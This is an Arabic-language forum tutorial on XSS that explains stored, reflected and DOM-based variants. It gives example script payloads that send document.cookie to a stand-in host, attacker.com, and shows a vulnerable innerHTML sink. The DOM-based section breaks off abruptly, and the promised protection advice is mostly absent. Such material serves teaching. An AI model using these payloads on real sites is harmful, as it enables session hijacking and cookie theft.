🛡️ في عالم الأمن السيبراني، هجمات Cross-Site Scripting (XSS) من أكثر الثغرات شيوعًا في تطبيقات الويب. الثغرة دي بتسمح للمهاجم بحقن سكريبتات خبيثة (عادةً JavaScript) في صفحات الويب اللي بيشوفها المستخدمين. البوست ده هيشرح الأنواع الرئيسية لـ XSS (Stored، Reflective، وDOM-based) مع أمثلة عملية ونصايح للحماية. 🚀
1. Stored XSS (Persistent XSS) 📝
Stored XSS هي هجوم يتم فيه حقن سكريبت خبيث في قاعدة بيانات التطبيق أو السيرفر، وبعدين السكريبت ده بيتعرض لكل المستخدمين اللي بيزوروا الصفحة المصابة.
إزاي بتحصل؟
المهاجم بيدخّل كود خبيث في حقل إدخال (زي تعليق أو رسالة) بدون ما التطبيق ينقّي (Sanitize) المدخلات.
الكود بيتخزن في قاعدة البيانات ويتعرض للمستخدمين لما الصفحة بتتحمل.
النتيجة: السكريبت الخبيث بيتنفّذ في متصفح كل زائر.
مثال عملي
السيناريو: موقع ويب بيسمح للمستخدمين بكتابة تعليقات على صفحة.
الهجوم: المهاجم بيدخّل الكود ده في حقل التعليق:
HTML:
<script>
alert('مرحبًا بكم في موقع الهجمات الأمنية المشابهة!');
window.location.href = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>
النتيجة: التعليق بيتخزن في قاعدة البيانات، ولما أي مستخدم يزور الصفحة، الكود بيتنفّذ في متصفحه:
بيظهر تنبيه (Alert) بـ "مرحبًا بكم...".
بيسرّب ملفات تعريف الارتباط (Cookies) للمهاجم عبر الرابط https://attacker.com/steal.
التأثير: سرقة بيانات حساسة زي Session Cookies أو تنفيذ إجراءات خبيثة.
2. Reflective XSS (Non-Persistent XSS) 🔗
Reflective XSS هي هجوم بيحصل لما التطبيق بيعرض مدخلات المستخدم مباشرة في الصفحة بدون تنقية، والكود الخبيث بيتنفّذ بس لما المستخدم ينقر على رابط معدّل.
إزاي بتحصل؟
المهاجم بيبعت رابط معدّل (يحتوي على سكريبت خبيث) للضحية.
السكريبت بيظهر في استجابة السيرفر لما الضحية ينقر على الرابط.
الكود بيتنفّذ في متصفح الضحية مباشرة.
مثال عملي
السيناريو: صفحة ويب زي
Code:
http://example.com/vulnerable.php?input=Hello
بتعرض المدخلات بدون تنقية.
الهجوم: المهاجم بيبعت رابط زي:
Code:
http://example.com/vulnerable.php?input=<script>
var stolenData = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://attacker.com/steal.php?data=" + stolenData, true);
xhr.send();
</script>
النتيجة: لما الضحية ينقر على الرابط، الكود بيتنفّذ في متصفحه:
بيسرّب Cookies الجلسة للمهاجم عبر http://attacker.com/steal.php.
المهاجم بيقدر ينتحل شخصية الضحية (Session Hijacking).
التأثير: سرقة بيانات الجلسة أو تنفيذ إجراءات باسم المستخدم.
3. DOM-based XSS 🌐
DOM-based XSS هي هجوم بيحصل في جانب العميل (Client-Side) لما السكريبتات في صفحة الويب بتعالج مدخلات المستخدم بدون تنقية، والكود الخبيث بيتنفّذ في الـ DOM (Document Object Model) داخل المتصفح.
إزاي بتحصل؟
التطبيق بيستخدم JavaScript لتحديث الـ DOM بناءً على مدخلات المستخدم (زي قيم في URL).
المهاجم بيحقن كود خبيث في المدخلات (زي جزء من الـ URL أو Hash).
الكود بيتنفّذ في متصفح الضحية بدون ما يوصل للسيرفر.
مثال عملي
السيناريو: صفحة ويب فيها الكود التالي:
HTML:
<div id="username"></div>
JavaScript:
var username = window.location.hash.substring(1);
document.getElementById('username').innerHTML = username;
راقب السجلات: استخدم أدوات زي Splunk أو ELK Stack لرصد محاولات الهجوم.
خلّصنا.. ابدأ رحلتك في الأمن السيبراني! 🚀
هجمات Stored XSS، Reflective XSS، وDOM-based XSS من أخطر الثغرات اللي ممكن تؤدي لسرقة بيانات أو التحكم في جلسات المستخدمين. لو عايز تبقى هاكر أخلاقي، اتعلم إزاي تكتشف الثغرات دي وتحمي منها في بيئة آمنة زي Kali Linux. تابع منتديات اكتب كود لشروحات جديدة عن Cybersecurity وPenetration Testing كل أسبوع! 😊 لو استفدت، شارك البوست مع أصحابك، ولو عندك أسئلة، اكتبها في التعليقات! 🌟